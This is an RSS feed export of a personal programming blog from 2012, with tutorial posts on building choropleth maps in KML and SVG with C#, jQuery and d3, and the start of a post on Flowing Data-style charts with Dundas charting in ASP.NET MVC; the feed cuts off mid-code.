<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>eric.ness.net</title>
	<atom:link href="http://eric.ness.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.ness.net</link>
	<description>...I never learned to read.</description>
	<lastBuildDate>Fri, 20 Apr 2012 17:17:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Data Driven Maps Part 2: KML Choropleth Maps</title>
		<link>http://eric.ness.net/archives/data-driven-maps-part-2-kml-choropleth-maps/</link>
		<comments>http://eric.ness.net/archives/data-driven-maps-part-2-kml-choropleth-maps/#comments</comments>
		<pubDate>Fri, 20 Apr 2012 17:12:04 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=786</guid>
		<description><![CDATA[Create KML choropleth maps for Google Map overlay.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fdata-driven-maps-part-2-kml-choropleth-maps%2F' data-shr_title='Data+Driven+Maps+Part+2%3A+KML+Choropleth+Maps'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fdata-driven-maps-part-2-kml-choropleth-maps%2F' data-shr_title='Data+Driven+Maps+Part+2%3A+KML+Choropleth+Maps'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img title="kml" src="http://eric.ness.net/wp-content/uploads/2012/04/kml.jpg" alt="" width="577" height="360" /></p>
<p>A <a href="https://developers.google.com/kml/documentation/">Keyhole Markup Language</a> (KML) file is a XML like file that contains information that can be overlaid on a google map. And KML files are great ways to create a choropleths over a highly used api like google maps.</p>
<p>There are a couple of caveats with this project. First, I have stored the co-ordinates in a database because it is a simple solution. Second, the google map api has an upper limit on the file size of about 3 mb. This being the case in the following code I have manually removed some of the smaller islands in part because they tend to be groups of island and add lot of lines to the final KML file.</p>
<p>So lets look at some code.</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.IO;
using System.Linq;
using GoogleKMLTest.data;

namespace GoogleKMLTest.classes
{
    internal class CreateKMLFile
    {
        #region Variables

        private readonly GoogleKMLDataContext _db = new GoogleKMLDataContext();

        #endregion

        #region Create KML File

        /// &lt;summary&gt;
        /// Creates thes the KML file.
        /// &lt;/summary&gt;
        public void CreatetheKMLFile()
        {
            // Local Variables
            var t2 = new FileInfo(@&quot;C:\\kml\\test.kml&quot;);
            StreamWriter tex = t2.CreateText();
            var myRand = new Random();

            // Set Header
            SetHeader(tex);

            // Add style colors
            SetStyleColors(tex);

            // Add an empty line
            tex.WriteLine();

            // Removing smaller island countries to get under the google limit
            var q = (from t in _db.tbl_Google_Maps
                     where t.Country != &quot;American Samoa&quot; &amp;&amp;
                           t.Country != &quot;Antigua and Barbuda&quot; &amp;&amp;
                           t.Country != &quot;British Virgin Islands&quot; &amp;&amp;
                           t.Country != &quot;Faroe Islands&quot; &amp;&amp;
                           t.Country != &quot;Federated States of Micronesia&quot; &amp;&amp;
                           t.Country != &quot;Fiji&quot; &amp;&amp;
                           t.Country != &quot;French Polynesia&quot; &amp;&amp;
                           t.Country != &quot;Kiribati&quot; &amp;&amp;
                           t.Country != &quot;Maldives&quot; &amp;&amp;
                           t.Country != &quot;Marshall Islands&quot; &amp;&amp;
                           t.Country != &quot;Northern Mariana Islands&quot; &amp;&amp;
                           t.Country != &quot;Pacific Islands (Palau)&quot; &amp;&amp;
                           t.Country != &quot;Solomon Islands&quot;
                     select new {t.Country}).Distinct();

            // Loop through the rest of the countries
            foreach (var item in q)
            {
                // Get sub co-ordinates
                var item1 = item;
                IQueryable&lt;tbl_Google_Map&gt; q2 = (from t in _db.tbl_Google_Maps
                                                 where t.Country == item1.Country
                                                 select t);

                // Start placemark
                tex.WriteLine(&quot;\t&lt;Placemark&gt;&quot;);
                tex.WriteLine(&quot;\t\t&lt;name&gt;&quot; + item.Country + &quot;&lt;/name&gt;&quot;);
                tex.WriteLine(&quot;\t\t&lt;visibility&gt;0&lt;/visibility&gt;&quot;);
                tex.WriteLine(&quot;\t\t&lt;styleUrl&gt;#&quot; + myRand.Next(1, 6) + &quot;&lt;/styleUrl&gt;&quot;);
                tex.WriteLine(&quot;\t\t&lt;MultiGeometry&gt;&quot;);

                // Loop through sub co-ordinates
                foreach (tbl_Google_Map item2 in q2)
                {
                    tex.WriteLine(&quot;\t\t\t&lt;Polygon&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t&lt;outerBoundaryIs&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t\t&lt;LinearRing&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t\t\t&lt;coordinates&gt;&quot; + item2.CoOrdinates + &quot;&lt;/coordinates&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t\t&lt;/LinearRing&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t&lt;/outerBoundaryIs&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t\t&lt;tesselate&gt;1&lt;/tesselate&gt;&quot;);
                    tex.WriteLine(&quot;\t\t\t&lt;/Polygon&gt;&quot;);
                }

                // Close placemark
                tex.WriteLine(&quot;\t\t&lt;/MultiGeometry&gt;&quot;);
                tex.WriteLine(&quot;\t&lt;/Placemark&gt;&quot;);
            }

            // Close KML file
            tex.WriteLine(&quot;&lt;/Document&gt;&quot;);
            tex.WriteLine(&quot;&lt;/kml&gt;&quot;);
            tex.Close();
        }

        /// &lt;summary&gt;
        /// Sets the header.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;tex&quot;&gt;The tex.&lt;/param&gt;
        private void SetHeader(StreamWriter tex)
        {
            tex.WriteLine(&quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;UTF-8\&quot; ?&gt;&quot;);
            tex.WriteLine(&quot;&lt;kml xmlns=\&quot;http://earth.google.com/kml/2.0\&quot;&gt;&quot;);
            tex.WriteLine(&quot;&lt;Document&gt;&quot;);
        }

        /// &lt;summary&gt;
        /// Sets the style colors.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;tex&quot;&gt;The tex.&lt;/param&gt;
        private void SetStyleColors(StreamWriter tex)
        {
            // Color One
            tex.WriteLine(&quot;\t&lt;Style id=\&quot;1\&quot;&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;width&gt;.05&lt;/width&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff000000&lt;/color&gt;&quot;); // Border Color
            tex.WriteLine(&quot;\t\t&lt;/LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;outline&gt;1&lt;/outline&gt; &quot;);
            tex.WriteLine(&quot;\t\t\t&lt;fill&gt;1&lt;/fill&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ffc8e8fe&lt;/color&gt;&quot;); // Background Color
            tex.WriteLine(&quot;\t\t&lt;/PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t&lt;/Style&gt;&quot;);

            // Color Two
            tex.WriteLine(&quot;\t&lt;Style id=\&quot;2\&quot;&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;width&gt;.05&lt;/width&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff000000&lt;/color&gt;&quot;); // Border Color
            tex.WriteLine(&quot;\t\t&lt;/LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;outline&gt;1&lt;/outline&gt; &quot;);
            tex.WriteLine(&quot;\t\t\t&lt;fill&gt;1&lt;/fill&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff84bbfd&lt;/color&gt;&quot;); // Background Color
            tex.WriteLine(&quot;\t\t&lt;/PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t&lt;/Style&gt;&quot;);

            // Color Three
            tex.WriteLine(&quot;\t&lt;Style id=\&quot;3\&quot;&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;width&gt;.05&lt;/width&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff000000&lt;/color&gt;&quot;); // Border Color
            tex.WriteLine(&quot;\t\t&lt;/LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;outline&gt;1&lt;/outline&gt; &quot;);
            tex.WriteLine(&quot;\t\t\t&lt;fill&gt;1&lt;/fill&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff598dfc&lt;/color&gt;&quot;); // Background Color
            tex.WriteLine(&quot;\t\t&lt;/PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t&lt;/Style&gt;&quot;);

            // Color Four
            tex.WriteLine(&quot;\t&lt;Style id=\&quot;4\&quot;&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;width&gt;.05&lt;/width&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff000000&lt;/color&gt;&quot;); // Border Color
            tex.WriteLine(&quot;\t\t&lt;/LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;outline&gt;1&lt;/outline&gt; &quot;);
            tex.WriteLine(&quot;\t\t\t&lt;fill&gt;1&lt;/fill&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff4865ef&lt;/color&gt;&quot;); // Background Color
            tex.WriteLine(&quot;\t\t&lt;/PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t&lt;/Style&gt;&quot;);

            // Color FIve
            tex.WriteLine(&quot;\t&lt;Style id=\&quot;5\&quot;&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;width&gt;.05&lt;/width&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff000000&lt;/color&gt;&quot;); // Border Color
            tex.WriteLine(&quot;\t\t&lt;/LineStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t&lt;PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;outline&gt;1&lt;/outline&gt; &quot;);
            tex.WriteLine(&quot;\t\t\t&lt;fill&gt;1&lt;/fill&gt;&quot;);
            tex.WriteLine(&quot;\t\t\t&lt;color&gt;ff0000b3&lt;/color&gt;&quot;); // Background Color
            tex.WriteLine(&quot;\t\t&lt;/PolyStyle&gt;&quot;);
            tex.WriteLine(&quot;\t&lt;/Style&gt;&quot;);
        }

        #endregion
    }
}
</pre>
<p>Once overlaid the result looks like <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=http:%2F%2Fd.ness.net%2Fkml%2Ftest.kml&amp;sll=37.0625,-95.677068&amp;sspn=47.033113,93.076172&amp;vpsrc=6&amp;ie=UTF8&amp;ll=31.653381,0&amp;spn=146.99357,12.304687&amp;t=m&amp;z=2">this</a>. You can download the project and sql db file <a href="http://eric.ness.net/wp-content/uploads/2012/04/GoogleKMLTest.zip">here</a>.</p>
<div class="shr-publisher-786"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/data-driven-maps-part-2-kml-choropleth-maps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Data Driven Maps Part 1: SVG Choropleth Maps</title>
		<link>http://eric.ness.net/archives/data-driven-maps-part-1-svg-choropleth-maps/</link>
		<comments>http://eric.ness.net/archives/data-driven-maps-part-1-svg-choropleth-maps/#comments</comments>
		<pubDate>Thu, 15 Mar 2012 14:40:45 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=749</guid>
		<description><![CDATA[One of my favorite ways to show data on a map is via a choropleth map using an SVG file.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fdata-driven-maps-part-1-svg-choropleth-maps%2F' data-shr_title='Data+Driven+Maps+Part+1%3A+SVG+Choropleth+Maps'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fdata-driven-maps-part-1-svg-choropleth-maps%2F' data-shr_title='Data+Driven+Maps+Part+1%3A+SVG+Choropleth+Maps'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2012/03/datamap1.jpg"><img class="alignnone size-full wp-image-771" title="datamap1" src="http://eric.ness.net/wp-content/uploads/2012/03/datamap1.jpg" alt="" width="577" height="360" /></a></p>
<p>Over the next couple of blog posts I would like to focus on displaying data on a map via the web. There are a number off the shelf options for your desktop that do a great job, one or two that we&#8217;ve talked about before. But, presenting data over the web often presents us with a couple of challenges &#8211; specifically data size.</p>
<p>One of my favorite ways to show data on a map is via a <a href="http://en.wikipedia.org/wiki/Choropleth_map">choropleth map</a>. A choropleth map is essentially a shaded area of map that is correlated to some value. In this blog we are going to talk specifically about manipulating an <a href="http://en.wikipedia.org/wiki/Scalable_Vector_Graphics">SVG</a> file in to a choropleth map.</p>
<p>SVG map files are great for a couple of reasons, specifically: they can be displayed in most modern browsers, can be edited in image editing software like Adobe Photoshop or (free) <a href="http://inkscape.org/">Inkscape</a> and with javascript we can manipulate individual paths/areas.</p>
<p>Because this specific SVG file is more or less static we are not going to really look at it other than to say that each shape has a two letter state id &#8211; for instance &#8216;MN&#8217; is for Minnesota.</p>
<p>The first bit of code I would like to look at is our json code. Specifically, we have the name of the state, the two letter code, and our data. The data is the current Unemployment Rate for each state.</p>
<pre class="brush: jscript; title: ; notranslate">
var states =
			[{&quot;name&quot;: &quot;Alabama&quot;, &quot;state&quot;: &quot;AL&quot;, &quot;value&quot;: 7.8},
			{&quot;name&quot;: &quot;Alaska&quot;, &quot;state&quot;: &quot;AK&quot;, &quot;value&quot;: 4.2},
			{&quot;name&quot;: &quot;Arizona&quot;, &quot;state&quot;: &quot;AZ&quot;, &quot;value&quot;:	8.7},
			{&quot;name&quot;: &quot;Arkansas&quot;, &quot;state&quot;: &quot;AR&quot;, &quot;value&quot;: 7.6},
			{&quot;name&quot;: &quot;California&quot;, &quot;state&quot;: &quot;CA&quot;, &quot;value&quot;: 10.9},
			{&quot;name&quot;: &quot;Colorado&quot;, &quot;state&quot;: &quot;CO&quot;, &quot;value&quot;: 7.8},
			{&quot;name&quot;: &quot;Connecticut&quot;, &quot;state&quot;: &quot;CT&quot;, &quot;value&quot;: 8},
			{&quot;name&quot;: &quot;Delaware&quot;, &quot;state&quot;: &quot;DE&quot;, &quot;value&quot;: 7},
			{&quot;name&quot;: &quot;District of Columbia&quot;, &quot;state&quot;: &quot;DC&quot;, &quot;value&quot;: 9.9},
			{&quot;name&quot;: &quot;Florida&quot;, &quot;state&quot;: &quot;FL&quot;, &quot;value&quot;:	9.6},
			{&quot;name&quot;: &quot;Georgia&quot;, &quot;state&quot;: &quot;GA&quot;, &quot;value&quot;:	9.2},
			{&quot;name&quot;: &quot;Hawaii&quot;, &quot;state&quot;: &quot;HI&quot;, &quot;value&quot;: 6.5},
			{&quot;name&quot;: &quot;Idaho&quot;, &quot;state&quot;: &quot;ID&quot;, &quot;value&quot;: 8.1},
			{&quot;name&quot;: &quot;Illinois&quot;, &quot;state&quot;: &quot;IL&quot;, &quot;value&quot;: 9.4},
			{&quot;name&quot;: &quot;Indiana&quot;, &quot;state&quot;: &quot;IN&quot;, &quot;value&quot;:	8.7},
			{&quot;name&quot;: &quot;Iowa&quot;, &quot;state&quot;: &quot;IA&quot;, &quot;value&quot;: 5.4},
			{&quot;name&quot;: &quot;Kansas&quot;, &quot;state&quot;: &quot;KS&quot;, &quot;value&quot;: 6.1},
			{&quot;name&quot;: &quot;Kentucky&quot;, &quot;state&quot;: &quot;KY&quot;, &quot;value&quot;: 8.8},
			{&quot;name&quot;: &quot;Louisiana&quot;, &quot;state&quot;: &quot;LA&quot;, &quot;value&quot;: 6.9},
			{&quot;name&quot;: &quot;Maine&quot;, &quot;state&quot;: &quot;ME&quot;, &quot;value&quot;: 7},
			{&quot;name&quot;: &quot;Maryland&quot;, &quot;state&quot;: &quot;MD&quot;, &quot;value&quot;: 6.5},
			{&quot;name&quot;: &quot;Massachusetts&quot;, &quot;state&quot;: &quot;MA&quot;, &quot;value&quot;: 6.9},
			{&quot;name&quot;: &quot;Michigan&quot;, &quot;state&quot;: &quot;MI&quot;, &quot;value&quot;: 9},
			{&quot;name&quot;: &quot;Minnesota&quot;, &quot;state&quot;: &quot;MN&quot;, &quot;value&quot;: 5.6},
			{&quot;name&quot;: &quot;Mississippi&quot;, &quot;state&quot;: &quot;MS&quot;, &quot;value&quot;:	9.9},
			{&quot;name&quot;: &quot;Missouri&quot;, &quot;state&quot;: &quot;MO&quot;, &quot;value&quot;: 7.5},
			{&quot;name&quot;: &quot;Montana&quot;, &quot;state&quot;: &quot;MT&quot;, &quot;value&quot;: 6.5},
			{&quot;name&quot;: &quot;Nebraska&quot;, &quot;state&quot;: &quot;NE&quot;, &quot;value&quot;: 4},
			{&quot;name&quot;: &quot;Nevada&quot;, &quot;state&quot;: &quot;NV&quot;, &quot;value&quot;: 12.7},
			{&quot;name&quot;: &quot;New Hampshire&quot;, &quot;state&quot;: &quot;NH&quot;, &quot;value&quot;: 5.2},
			{&quot;name&quot;: &quot;New Jersey&quot;, &quot;state&quot;: &quot;NJ&quot;, &quot;value&quot;: 9},
			{&quot;name&quot;: &quot;New Mexico&quot;, &quot;state&quot;: &quot;NM&quot;, &quot;value&quot;: 7},
			{&quot;name&quot;: &quot;New York&quot;, &quot;state&quot;: &quot;NY&quot;, &quot;value&quot;: 8.3},
			{&quot;name&quot;: &quot;North Carolina&quot;, &quot;state&quot;: &quot;NC&quot;, &quot;value&quot;: 10.2},
			{&quot;name&quot;: &quot;North Dakota&quot;, &quot;state&quot;: &quot;ND&quot;, &quot;value&quot;: 3.2},
			{&quot;name&quot;: &quot;Ohio&quot;, &quot;state&quot;: &quot;OH&quot;, &quot;value&quot;: 7.7},
			{&quot;name&quot;: &quot;Oklahoma&quot;, &quot;state&quot;: &quot;OK&quot;, &quot;value&quot;: 6.1},
			{&quot;name&quot;: &quot;Oregon&quot;, &quot;state&quot;: &quot;OR&quot;, &quot;value&quot;: 8.8},
			{&quot;name&quot;: &quot;Pennsylvania&quot;, &quot;state&quot;: &quot;PA&quot;, &quot;value&quot;: 7.6},
			{&quot;name&quot;: &quot;Rhode Island&quot;, &quot;state&quot;: &quot;RI&quot;, &quot;value&quot;: 10.9},
			{&quot;name&quot;: &quot;South Carolina&quot;, &quot;state&quot;: &quot;SC&quot;, &quot;value&quot;: 9.3},
			{&quot;name&quot;: &quot;South Dakota&quot;, &quot;state&quot;: &quot;SD&quot;, &quot;value&quot;: 4.2},
			{&quot;name&quot;: &quot;Tennessee&quot;, &quot;state&quot;: &quot;TN&quot;, &quot;value&quot;: 8.2},
			{&quot;name&quot;: &quot;Texas&quot;, &quot;state&quot;: &quot;TX&quot;, &quot;value&quot;: 7.3},
			{&quot;name&quot;: &quot;Utah&quot;, &quot;state&quot;: &quot;UT&quot;, &quot;value&quot;: 5.7},
			{&quot;name&quot;: &quot;Vermont&quot;, &quot;state&quot;: &quot;VT&quot;, &quot;value&quot;: 5},
			{&quot;name&quot;: &quot;Virginia&quot;, &quot;state&quot;: &quot;VA&quot;, &quot;value&quot;: 5.8},
			{&quot;name&quot;: &quot;Washington&quot;, &quot;state&quot;: &quot;WA&quot;, &quot;value&quot;: 8.3},
			{&quot;name&quot;: &quot;West Virginia&quot;, &quot;state&quot;: &quot;WV&quot;, &quot;value&quot;: 7.4},
			{&quot;name&quot;: &quot;Wisconsin&quot;, &quot;state&quot;: &quot;WI&quot;, &quot;value&quot;: 6.9},
			{&quot;name&quot;: &quot;Wyoming&quot;, &quot;state&quot;: &quot;WY&quot;, &quot;value&quot;: 5.5}];
</pre>
<p>The second piece of javascript does four main things: find the min/max of the data, calculates and sets the color, create popup text and mouse over/out actions.</p>
<pre class="brush: jscript; title: ; notranslate">
// our min/max values
var min, max;

$(function() {
	// loads the states data
	 loadStates();
});

function loadStates() {
	// set the first items as min/max
	min = states[0].value;
	max = states[0].value;

	// find the min &amp; max in the json data
	for(var i = 0; i &lt; states.length; i++) {
		if(states[i].value &lt; min) { min = states[i].value; }
		if(states[i].value &gt; max) { max = states[i].value; }
	}

	// set states
	for(var i = 0; i &lt; states.length; i++) {
		var value = states[i].value; 		// value
		var abbr = states[i].state;			// state code
		var myName = states[i].name;		// state name
		var color = '#' + getColor(value);	// static color option
		color = getColor2(value);			// color shaded as a %

		// Color state
		$('#' + abbr).css('fill', color);
		$('#' + abbr).css('stroke', 'white');
		$('#' + abbr).css('stroke-width', '0.5');

		// Add tipsy overlay
		$('#' + abbr).attr('title', buildTipsyBox(myName, value));
		$('#' + abbr).tipsy({gravity: 'w', html: true });

		// Add mouse over events
		mapMouseOver($('#' + abbr), color, myName, abbr, value);
		mapMouseOut($('#' + abbr), color);
	}
}

// Addmouse over event
function mapMouseOver(p, color, name, abbr, value) {
	p.mouseover(function() {
		// animate to gray
		p.css('fill', color).animate({opacity: 0.25}, 5 );
		p.css('fill', &quot;#999999&quot;).animate({opacity: 0.5}, 100 );

		// show values
		$('#StateName').html(name);
		$('#StateAbbr').html(abbr);
		$('#value').html(value);
	});
}

// Add mouse out event
function mapMouseOut(p, color) {
	p.mouseout(function() {
		// re-set color
		p.css('fill', color).animate({opacity: 1}, 100 );

		// clear values
		$('#StateName').html('');
		$('#StateAbbr').html('');
		$('#value').html('');
	});
}

// Build the tipsy box html
function buildTipsyBox(name, value) {
	var text = '&lt;h3&gt;Unemployment Rate&lt;br /&gt;';
	text += &quot;State: &quot; + name + &quot;&lt;br /&gt;&quot;;
	text += &quot;Value: &quot; + value + &quot;%&quot;;
	text += '&lt;/h3&gt;';
	return text;
}

// Static color option
function getColor(code) {
	var itemColor;
	if (code == 1) itemColor = &quot;b9c5d1&quot;;
	if (code == 2) itemColor = &quot;9fb6c8&quot;;
	if (code == 3) itemColor = &quot;74a2bc&quot;;
	if (code == 4) itemColor = &quot;4785ac&quot;;
	if (code == 5) itemColor = &quot;25689d&quot;;
	if (code == 6) itemColor = &quot;084886&quot;;
	if (code == 7) itemColor = &quot;08295c&quot;;
	return itemColor;
}

// Color option based as a percentage
function getColor2(code) {
	var p = (code - min)/(max - min);
	var rgb = setColor(p);
	return rgb;
}

// Gets shade as a percentage of a hue
function setColor(p){
    var continuousScale = d3.scale.linear().domain([1, 7]).range([0, 1]);
	var hue = 210; //blue
	var hex = d3.hsl(hue, .35, 1 - p)
	return hex;
}
</pre>
<p>Here is what it ends up looking like.<br />
<a href="http://eric.ness.net/wp-content/uploads/2012/03/map.png"><img class="alignnone size-full wp-image-783" title="map" src="http://eric.ness.net/wp-content/uploads/2012/03/map.png" alt="" width="577" height="465" /></a></p>
<p>View the result live <a href="http://d.ness.net/map1/" target="_blank">here</a>! Download the files <a href="http://eric.ness.net/wp-content/uploads/2012/03/map1.zip">here</a>.</p>
<p>[Extended from EJ Fox piece, '<a href="http://blog.visual.ly/how-to-make-choropleth-maps-in-d3/">How to Make Choropleth Maps in D3</a>']</p>
<div class="shr-publisher-749"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/data-driven-maps-part-1-svg-choropleth-maps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flowing Data Charts Using Dundas/Microsoft Charts</title>
		<link>http://eric.ness.net/archives/flowing-data-charts-using-dundasmicrosoft-charts/</link>
		<comments>http://eric.ness.net/archives/flowing-data-charts-using-dundasmicrosoft-charts/#comments</comments>
		<pubDate>Sat, 10 Mar 2012 16:20:13 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=719</guid>
		<description><![CDATA[My code to generate a Flowing Data type chart.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fflowing-data-charts-using-dundasmicrosoft-charts%2F' data-shr_title='Flowing+Data+Charts+Using+Dundas%2FMicrosoft+Charts'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fflowing-data-charts-using-dundasmicrosoft-charts%2F' data-shr_title='Flowing+Data+Charts+Using+Dundas%2FMicrosoft+Charts'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2012/03/flowing_data.jpg"><img class="alignnone size-full wp-image-737" title="flowing_data" src="http://eric.ness.net/wp-content/uploads/2012/03/flowing_data.jpg" alt="" width="577" height="360" /></a></p>
<p><a href="http://flowingdata.com/about/">Nathan Yau&#8217;s</a> site <a href="http://flowingdata.com/">Flowing Data</a> is really one of my favorite sites on visualization. His recent book <em><a href="http://book.flowingdata.com/">Visualize This</a></em> is pretty much a required book if you do a lot of work with data, charts and visualization. I’ve always liked the approach Yau has taken with his charts as it has a slightly different feel than something you&#8217;d see <a href="http://www.edwardtufte.com/tufte/">Edward Tufte</a>, <a href="http://www.perceptualedge.com/">Stephen Few</a> or <a href="http://www.amazon.com/Street-Journal-Guide-Information-Graphics/dp/0393072959">Dona Wong</a> (all of whom I love) would do.</p>
<p>Anyway I’ve been slowly changing my charts to have more of a Flowing Data type layout and thought I would share some code. The goal here is to get as close to Nathan’s style using the <a href="http://dundas.com/">Dundas</a> / <a href="http://www.microsoft.com/download/en/details.aspx?id=14422">Microsoft Charting libraries</a> as possible using ASP.NET MVC Framework.</p>
<p>Here is a typical Flowing Data chart [scanned from <a href="http://book.flowingdata.com/">Visualize This</a>]:</p>
<p><img title="yau" src="http://eric.ness.net/wp-content/uploads/2012/03/yau.jpg" alt="" width="100%" /></p>
<p>Here is my result:</p>
<p><img title="961304397" src="http://eric.ness.net/wp-content/uploads/2012/03/961304397.png" alt="" /></p>
<p>So lets take a look at some of the code!</p>
<p>My  MVC Charts class creates a generic chart object that gets us fairly down the road to Nathan&#8217;s layout.</p>
<pre class="brush: jscript; title: ; notranslate">
using System.Drawing;
using Dundas.Charting.WebControl;

namespace FlowingData.Models
{
    public class MVCCharts
    {
        ///
&lt;summary&gt; /// Creates the flowing data chart.
 /// &lt;/summary&gt;
        ///The width.
        ///The height.
        ///The title.
        ///The nar.
        ///The ind.
        ///The sour.
        ///
        public Chart CreateFlowingDataChart(int width, int height, string title, string nar, string ind, string sour)
        {
            // Inital Setup
            var chart1 = new Chart
                             {
                                 Width = width,
                                 Height = height,
                                 RenderType = RenderType.ImageTag,
                                 Palette = ChartColorPalette.Dundas,
                                 BorderColor = ColorTranslator.FromHtml(&quot;#E8E8E8&quot;),
                                 BorderWidth = 1,
                                 BorderLineStyle = ChartDashStyle.Solid
                             };

            // Add title
            var t = new Title(title, Docking.Top, new Font(&quot;Georgia&quot;, 16, FontStyle.Bold), Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(t);
